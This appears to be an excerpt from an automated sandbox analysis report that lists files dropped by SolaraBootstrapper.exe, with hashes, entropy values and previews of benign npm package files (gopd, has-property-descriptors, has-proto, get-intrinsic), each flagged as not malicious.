C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\get-intrinsic\test\GetIntrinsic.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8767
Entropy (8bit):	5.080749188856504
Encrypted:	false
SSDEEP:	192:alPbhVR7/RP/6OPIqyuOoOV8rSlYXLGzdxD:4P/6OgqvjY
MD5:	45EB9D6FC0AA0ABCFAA920EDC317C0E1
SHA1:	7CBB3C83811754D8564EDB3B4EC57509736A3572
SHA-256:	2A2150EAEC22AF67C385BCA31D08FE7D604E9C3EBFC4C2BCDCD6D243E6BA9370
SHA-512:	6B47215BC891A5A55B11FE4ED18E16330044130385858DF3C847AA6EDB8FB7FBD31FB16F9D1DBA97ED4CA3D6DC5BA884F0716667F20E577A73ED3C89693FC960
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('../');..var test = require('tape');.var forEach = require('for-each');.var debug = require('object-inspect');.var generatorFns = require('make-generator-function')();.var asyncFns = require('make-async-function').list();.var asyncGenFns = require('make-async-generator-function')();.var mockProperty = require('mock-property');..var callBound = require('call-bind/callBound');.var v = require('es-value-fixtures');.var $gOPD = require('gopd');.var DefinePropertyOrThrow = require('es-abstract/2021/DefinePropertyOrThrow');..var $isProto = callBound('%Object.prototype.isPrototypeOf%');..test('export', function (t) {..t.equal(typeof GetIntrinsic, 'function', 'it is a function');..t.equal(GetIntrinsic.length, 2, 'function has length of 2');...t.end();.});..test('throws', function (t) {..t['throws'](...function () { GetIntrinsic('not an intrinsic'); },...SyntaxError,...'nonexistent intrinsic throws a syntax error'..);...t['throws'](...function () { GetI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	224
Entropy (8bit):	4.746913910657882
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQL+6pZjJNHeOL+/FpHIcR7GTIGDJVHLL8/EzlvwR/6G+sNqc:ExL0UxNSHadXnL2pkzVtLL8alJbupsg3
MD5:	AF5725E1E58526F93F37C687FE2D433E
SHA1:	9CA2A66D62BD687C3D18C51217BFE37280256EC1
SHA-256:	F441CE02CF8246250BE17C235FC77A2F674A6E538847C3C8B0639377EFB253E8
SHA-512:	AC2C141B3D9217C6470DBA504746EE65C38D265E22A0550D82F9677CAAD19A29A4B73A801F11C4CFA5C981E8C82B936F8525176226B22E6421D7515A7AA85071
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-style": [2, "declaration"],..."id-length": 0,..."multiline-comment-style": 0,..."new-cap": [2, {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	575
Entropy (8bit):	4.69908389967272
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggM40lgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgN0lg7g1GegJ9gEz4D
MD5:	4B9E776D4FFEB21D1FB58AC86E4F6B46
SHA1:	D4C6E2017B8DC882802F56BE442ABC18E9D0F984
SHA-256:	14A29231A020201285CEC832F4D4C90B7296BC45F9117E3F2A28C5E51A430CAE
SHA-512:	08A003C4D1EB83895C2971A79FEE09EE5D2A37CD0AA48FAB23DA6C254EB4F0DF02122B93693EF723CDE0608CE501342F9FF8C1158BCE99AFBAA25209665C9001
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/gopd.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1541
Entropy (8bit):	5.321658294372765
Encrypted:	false
SSDEEP:	24:EIKpjXWTIpphfdk/alyefGICTYX7wwcHEPsoXdfPDcqCNl95E7hq:E5yEpZ72iojqfA71
MD5:	4064EDED5329E868D21E4F024477FB53
SHA1:	D1B7E22BDB8D8C73F7BB1870C8BA48A5DED5DDEA
SHA-256:	78E99FF5F94FC0EEEAAE349B4392B432D7AF11ACB62A9F965A970F37465C93A8
SHA-512:	6E643713A9E2259B6C66C13DD032D72A1C2314B28E62696B543FEA7F60071C504CD9C17ACAB2124EE511D596BAE59E6A82530E5FD7262B56BE3564222E12F89F
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.1](https://github.com/ljharb/gopd/compare/v1.0.0...v1.0.1) - 2022-11-01..### Commits..- [Fix] actually export gOPD instead of dP [`4b624bf`](https://github.com/ljharb/gopd/commit/4b624bfbeff788c5e3ff16d9443a83627847234f)..## v1.0.0 - 2022-11-01..### Commits..- Initial implementation, tests, readme [`0911e01`](https://github.com/ljharb/gopd/commit/0911e012cd642092bd88b732c161c58bf4f20bea).- Initial commit [`b84e33f`](https://github.com/ljharb/gopd/commit/b84e33f5808a805ac57ff88d4247ad935569acbe).- [actions] add reusable workflows [`12ae28a`](https://github.com/ljharb/gopd/commit/12ae28ae5f50f86e750215b6e2188901646d0119).- npm init [`280118b`](https://github.com/ljharb/gopd/commit/280118badb45c80b4483836b5cb5315bddf6e582).- [meta]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.09865750118585
Encrypted:	false
SSDEEP:	24:vPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:3saJHlxE3dQHOs5exm3ogFh
MD5:	8478C87D16770F6D32A4578C475D3930
SHA1:	B79B2B51CBE42EC655277435B863EF9BA840840D
SHA-256:	D90BF0A089DA4CF43D644ED240A0B3825DCDB705E64E38371D56995A4CC9E4C5
SHA-512:	CD259994F307A9DAD872ED222A7D03649EC453C3C75ACC8EB180BE9B62F84D1830CEF53EF57B22F030A0A95A0CB77C5CA32BC6099A74E5D18E6EDFB7C6C84B07
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1562
Entropy (8bit):	5.0755714224286335
Encrypted:	false
SSDEEP:	48:Us1eI4I7qu29BtJmpzmXpmumM6NIL0IbIJv:xXFerLxsh
MD5:	B7828C6A2AAEB53E9BD62E7A166D4057
SHA1:	4E879D6C22E3B544119ACE482CC212D9DAC24075
SHA-256:	A5ADDA11EB1B5C4A225289CCC2E1F01BDC27E1635B85039AD327EC37082AD3D4
SHA-512:	BDEF4055F74D4AF6337EED4D23C1764F97544AD21616E40D2750AF64A73EE00FEB781BC9C82B132C3D518BF870C4021C1769F4F16347C8DB66D12485984350B2
Malicious:	false
Preview:	# gopd <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..`Object.getOwnPropertyDescriptor`, but accounts for IE's broken implementation...## Usage..```javascript.var gOPD = require('gopd');.var assert = require('assert');..if (gOPD) {..assert.equal(typeof gOPD, 'function', 'descriptors supported');..// use gOPD like Object.getOwnPropertyDescriptor here.} else {..assert.ok(!gOPD, 'descriptors not supported');.}.```..[package-url]: https://npmjs.org/package/gopd.[npm-version-svg]: https://versionbadg.es/ljharb/gopd.svg.[deps-svg]: https://david-dm.org/ljharb/gopd.svg.[deps-url]: https://david-dm.org/ljharb/gopd.[dev-deps-svg]: https://david-dm.org/ljharb/gopd/dev-status.svg.[dev-deps-url]: https://david-dm.org/ljharb/gopd#info=devDependencies.[npm-badge-png]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	263
Entropy (8bit):	5.064926684744617
Encrypted:	false
SSDEEP:	6:QmRQgNMmlCOqRs0r9xNp8j4M8pCL9y1OKCqxb3IYBSp:9RQt0CRLP41y1Fb3DBW
MD5:	9D619A4BC9CBF4F8F3A9F735F88ACCE2
SHA1:	5592E1ECB644F9C2BBE2C51F5EBFA3D95B76BEEF
SHA-256:	1D34BF8FD50315AD79BF71163475B928721295361A3D2DAE52D988B9EA4FD09A
SHA-512:	B98A3F32A0F2197F27D2B3EF65F40E5CB1ED54E06F617C54419B4B49FCA691DAA844B29204928AA544D94F78A5C69CC90ED63A04AB4A10C4829DD7AC067CF1E7
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');..var $gOPD = GetIntrinsic('%Object.getOwnPropertyDescriptor%', true);..if ($gOPD) {..try {...$gOPD([], 'length');..} catch (e) {...// IE 8 has a broken gOPD...$gOPD = null;..}.}..module.exports = $gOPD;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1877
Entropy (8bit):	5.137804769758442
Encrypted:	false
SSDEEP:	24:H1ohEWhXRYCQwdDC9YHM4FSyF1agI8c2sfAk21x60RZ1x6/Qy7s7XQJi4n9Jp5YS:VuXRYCZU547ag/fyORYsEg49KsNSowg
MD5:	DECFDB3EE3A3A8AC4460E083201FF8B2
SHA1:	C243EFD2585DB26B0A7C6C6B399BE0DB9E5CD7E1
SHA-256:	493A85E0F38390E60D37100347AEE54546895501B20189F7EDEAF3FBBEBF0B35
SHA-512:	A32F0A14FFA32C205970333645A24FD353E42A965572A70826A45D1CE145A0D41DDDC1C9100DA8DD798AC5F785385E6D0F4C5E9E82F87C10DF4E63AD8C342A44
Malicious:	false
Preview:	{.."name": "gopd",.."version": "1.0.1",.."description": "`Object.getOwnPropertyDescriptor`, but accounts for IE's broken implementation.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."lint": "eslint --ext=js,mjs .",..."postlint": "evalmd README.md",..."pretest": "npm run lint",..."tests-only": "tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/gopd.git"..},.."keywords": [..."ecmascript",..."javascr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\gopd\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.896123540064039
Encrypted:	false
SSDEEP:	6:QcALX5reM2oa1QkksGKdaqXsfvvNhaL4YeqCaQPlFQEhstTewFR5S2X9R5a14eXO:jSXjpqev3M7FnZnWTg9mkg1sPGIOLW
MD5:	2F21A47D1AEC7859A16C9F9143DDF71C
SHA1:	38AFFD0A6D7B23D1C4D7ACF7DF73338B7FA7F66C
SHA-256:	2FCD53FBC59F2998519995F4425A9F1CC2B1A3657B30896A5D0DFCC00D02BD80
SHA-512:	2DE6286741C151B4D0B980A5D84076D77DD147187CDB6440223A76232B9789710D2E13B508386FC0590C8356326CEE407FA524173B0BFAAD634F199FCBE4B5F5
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var gOPD = require('../');..test('gOPD', function (t) {..t.test('supported', { skip: !gOPD }, function (st) {...st.equal(typeof gOPD, 'function', 'is a function');....var obj = { x: 1 };...st.ok('x' in obj, 'property exists');....var desc = gOPD(obj, 'x');...st.deepEqual(....desc,....{.....configurable: true,.....enumerable: true,.....value: 1,.....writable: true....},....'descriptor is as expected'...);....st.end();..});...t.test('not supported', { skip: gOPD }, function (st) {...st.notOk(gOPD, 'is falsy');....st.end();..});...t.end();.});.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	173
Entropy (8bit):	4.796475828044818
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHDQLjXiVHM+OL+/FpHLL8/EzlvwR/6Csl6LrNTsvv:ExL0UxNSHQytEL2pLL8alJCslur23
MD5:	40BB4227BE5F1A2E10D29B56FC9F4564
SHA1:	8EBD3827D942EBE47BDE38D41D8CDEA43D4EA620
SHA-256:	3C44806873D9CEBEA2128BDB0ED0A00BD82BEC5B1DEBEA514BC54670D9F4859D
SHA-512:	6E2F599E5D59C7F61695B495DB5D4B9B72C967DC2923962C6B0F29FBD5A4C615211AA61B8EAA6E3739E2C18CE310298C9EB4EF788A1E1443AF13C4FA8E19FFFD
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."func-name-matching": 0,..."id-length": 0,..."new-cap": [2, {...."capIsNewExceptions": ["GetIntrinsic"],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	595
Entropy (8bit):	4.702186429158408
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGPllgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mg5lg7g1GegJ9gEz4D
MD5:	F3C02F6B204438228C428225140C5FC7
SHA1:	046F43546078DA343B5F33026295643365CDCAB9
SHA-256:	AAC113D18C37526F0D5D92F28D9BE805D85037520E9D4B822A20CFE71D9ACD40
SHA-512:	DE98A476CD43E7DCA0E84703A2BDD4831F7F45CB27432794F8DCC560B8EF6DC2967328C48A83B00A2FFB7C9552747BD669C1208ED5AC3BA3CD71E4A1A201C453
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/has-property-descriptors.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'].

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.216984831640945
Encrypted:	false
SSDEEP:	48:E5yEp+nE191N4uadYuyKsdReBtwl3SJ9pR/CTh:E5yEME17naZVsl3M9pR/eh
MD5:	DFEAA41492DD9056087D1A2D60167499
SHA1:	232017BB97B31DB28E230E4CBAD7AED30E77F1A7
SHA-256:	0FE548702D98DAC2C17E3049B83EBB62953EF585EF88619F24EF71952688CC9D
SHA-512:	3F3C6989530C087D3888E58F25DE26567CB8321F218F301C36C2D0F05C2072D4A5E6850AA1304115CA3CEE47BA67DFA2D44233CA8F2CC404F4F9431366690E8D
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.0.2](https://github.com/inspect-js/has-property-descriptors/compare/v1.0.1...v1.0.2) - 2024-02-12..### Commits..- [Refactor] use `es-define-property` [`f93a8c8`](https://github.com/inspect-js/has-property-descriptors/commit/f93a8c85eba70cbceab500f2619fb5cce73a1805).- [Dev Deps] update `aud`, `npmignore`, `tape` [`42b0c9d`](https://github.com/inspect-js/has-property-descriptors/commit/42b0c9d1c23e747755f0f2924923c418ea34a9ee).- [Deps] update `get-intrinsic` [`35e9b46`](https://github.com/inspect-js/has-property-descriptors/commit/35e9b46a7f14331bf0de98b644dd803676746037)..## [v1.0.1](https://github.com/inspect-js/has-property-descriptors/compare/v1.0.0...v1.0.1) - 2023-10-20..### Commits..- [meta] use `npmignore` to autogenerate an

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1067
Entropy (8bit):	5.095025073213139
Encrypted:	false
SSDEEP:	24:/rmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:/aJHlxE3dQHOs5exm3ogFh
MD5:	D237EAC07663BDE2409DE740BA75EC97
SHA1:	74CEE463C60DE7E0BFD342362E2A4DDF5F1883D9
SHA-256:	0F0CA96F50793990031EBC488A38F7292FF70BCE8AB6A8E5EEDA674ABC32CCDF
SHA-512:	D7A2F0DAC429ABC40834B1887CBFFEC6487330328AEFED4A84ED2DA8FCD687A489C7E25C981B99EF0EC5C0B71EFBF6C30489D8204F295045AFAA488DD98D644E
Malicious:	false
Preview:	MIT License..Copyright (c) 2022 Inspect JS..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTI

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2206
Entropy (8bit):	4.946265434655978
Encrypted:	false
SSDEEP:	48:81eI4IFO2sfqaFmNGm32qv+HsEIL0IDIJv:UXFbac3zLxUh
MD5:	67A4620B357B10EE5A7B64D1172F583B
SHA1:	12178C626C011BF0FB768984E6C1ED5AD53C9261
SHA-256:	948751362D23B03B9A2FCEFC39F6B6F379F7A2B79B25DEAF21CBE0512131CFF0
SHA-512:	43207C544CB32E3874E2ED2F23D411365BF21E04A4F71FC322BBDBFAFD866105941D98D744B567B93652D94C5D6121A6F2B6ACC76C9014F450B7E987051CF4B9
Malicious:	false
Preview:	# has-property-descriptors <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..Does the environment have full property descriptor support? Handles IE 8's broken defineProperty/gOPD...## Example..```js.var hasPropertyDescriptors = require('has-property-descriptors');.var assert = require('assert');..assert.equal(hasPropertyDescriptors(), true); // will be `false` in IE 6-8, and ES5 engines..// Arrays can not have their length `[[Defined]]` in some engines.assert.equal(hasPropertyDescriptors.hasArrayLengthDefineBug(), false); // will be `true` in Firefox 4-22, and node v0.6.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..[package-url]: http

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	588
Entropy (8bit):	4.921338981139349
Encrypted:	false
SSDEEP:	12:zSDBLhoZJ6KFU+ko940WykAqVQlLwRZI0vTBgCR:zSE6G40WLAqewa0rBh
MD5:	A8C2D4EA312A1DE8D1FA3DBF93AAA444
SHA1:	6339A30DE7B7C821258F7C446DAF1260A0524DFD
SHA-256:	D5415D5957DE8E923FB1A976CB3F2524F1800ECF5E3B958A4D76183D2A9DEE91
SHA-512:	9B8F5C2F05306E4446B98EBF07EBE2761B2FD8F4DF4FE5ABE56F9F8856185AC8FEAF545355E9C36822BAA3673EEB2AC643C49B06F72DACC788C611A7E5FA4865
Malicious:	false
Preview:	'use strict';..var $defineProperty = require('es-define-property');..var hasPropertyDescriptors = function hasPropertyDescriptors() {..return !!$defineProperty;.};..hasPropertyDescriptors.hasArrayLengthDefineBug = function hasArrayLengthDefineBug() {..// node v0.6 has a bug where array lengths can be Set but not Defined..if (!$defineProperty) {...return null;..}..try {...return $defineProperty([], 'length', { value: 1 }).length !== 1;..} catch (e) {...// In Firefox 4-22, defining length on an array throws an exception....return true;..}.};..module.exports = hasPropertyDescriptors;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	5.120875548329483
Encrypted:	false
SSDEEP:	48:1elq7RYCZU547agW01yRYsEg40EssiSowg:1VeC9Lv30EhiN
MD5:	510168F5C4C087586D843E93CC695783
SHA1:	A3E6C1869A4E2F16574906FEA431CE7A4BC1A022
SHA-256:	59A91E2CF32E4303D248708999A9EC3AFD8E3649A87BA7ABCF2177DC1984E3D5
SHA-512:	6AE33AF0F4F87F90C4824824566944EF3753360CCE74979D532BBCC98D995AEAF270AE7E79D6B3A59D6CAE6F2989250C7A3D84A333B52B6CA4CC762401D6C046
Malicious:	false
Preview:	{.."name": "has-property-descriptors",.."version": "1.0.2",.."description": "Does the environment have full property descriptor support? Handles IE 8's broken defineProperty/gOPD.",.."main": "index.js",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublishOnly": "safe-publish-latest",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."pretest": "npm run lint",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/inspect-js/has-p

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-property-descriptors\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1405
Entropy (8bit):	4.953599029639864
Encrypted:	false
SSDEEP:	24:ji/J/JpEmeQklInZnWck6XxthnnZ1Qrtbf/lf9MKWPGW:ji17ETInZnWcf3nZ1iB10eW
MD5:	7A5F187740D31852A4063B9E66688A98
SHA1:	1845271C79EC0BEE55B2D17ADED5FA39C32D4166
SHA-256:	00B7CCD4FB74B70387244E1C0774CB75192CDAEA8FBA3A6809C7CF2C28885155
SHA-512:	6CB4D06E7503C4B3BDD0DF1D12DD9E8C63362C594AEC309EF1349E54995E111748E37FC7F218BDA053BAFBB4A82FFD341F58E80BEC3CB3DB5D156C40F3CD4C26
Malicious:	false
Preview:	'use strict';..var test = require('tape');..var hasPropertyDescriptors = require('../');..var sentinel = {};..test('hasPropertyDescriptors', function (t) {..t.equal(typeof hasPropertyDescriptors, 'function', 'is a function');..t.equal(typeof hasPropertyDescriptors.hasArrayLengthDefineBug, 'function', '`hasArrayLengthDefineBug` property is a function');...var yes = hasPropertyDescriptors();..t.test('property descriptors', { skip: !yes }, function (st) {...var o = { a: sentinel };....st.deepEqual(....Object.getOwnPropertyDescriptor(o, 'a'),....{.....configurable: true,.....enumerable: true,.....value: sentinel,.....writable: true....},....'has expected property descriptor'...);....Object.defineProperty(o, 'a', { enumerable: false, writable: false });....st.deepEqual(....Object.getOwnPropertyDescriptor(o, 'a'),....{.....configurable: true,.....enumerable: false,.....value: sentinel,.....writable: false....},....'has expected property descriptor after [[Define]]'...);....st.end();..});...v

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\has-proto\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	580
Entropy (8bit):	4.69941916662743
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMGplgM01bZBgMoGbQjgMy9gMLz4MI:qoQWAg0g+H0mgllg7g1GegJ9gEz4D
MD5:	D426B8452C9A77C2FC8605D26F89BC3E
SHA1:	AC9924D2F28E9E39CEDFB42BC3E6B225C1ECBEE7
SHA-256:	E9176304FF0A6EEFB1F367C6E817EC39120887A1C81A02B4070698469C5A05DC
SHA-512:	E794F8E700E98D0BA08A02F617E59C37DD7D7B3C816766EE8B5FF7FF20F9D995879789B883279A84273980250B11E8942683DB012AEC5CB1C8B8F53111945EB9
Malicious:	false
